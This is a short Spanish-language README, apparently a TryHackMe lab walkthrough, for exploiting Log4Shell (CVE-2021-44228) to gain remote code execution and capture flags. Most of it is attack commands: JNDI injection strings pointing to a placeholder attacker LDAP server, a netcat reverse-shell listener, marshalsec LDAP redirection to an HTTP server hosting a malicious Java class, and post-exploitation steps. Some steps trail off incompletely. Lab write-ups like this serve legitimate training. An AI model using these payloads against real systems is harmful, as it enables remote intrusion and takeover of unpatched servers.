lathika-3006/solar-exploiting-log-4jGuía paso a paso de TryHackMe para explotar la vulnerabilidad Log4Shell (CVE-2021-44228) y lograr ejecución remota de código y capturar flags.
Plataforma: TryHackMe Dificultad: Media Tema: Log4Shell (Vulnerabilidad de Log4j)
Explotar la vulnerabilidad de Log4j (CVE-2021-44228) para obtener ejecución remota de código y capturar las banderas.
nmap -sC -sV <TARGET_IP>
La vulnerabilidad de Log4j permite la inyección JNDI:
${jndi:ldap://<ATTACKER_IP>:1389/a}
Si la entrada se registra → la vulnerabilidad existe.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Ejecutar el servidor LDAP:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Crear la clase Java maliciosa (Exploit.class)
Inyectar el payload en el campo vulnerable:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Usa cabeceras como:
Una vez disparado:
Comprobar:
sudo -l
Buscar:
find / -name flag.txt 2>/dev/null
cat flag.txt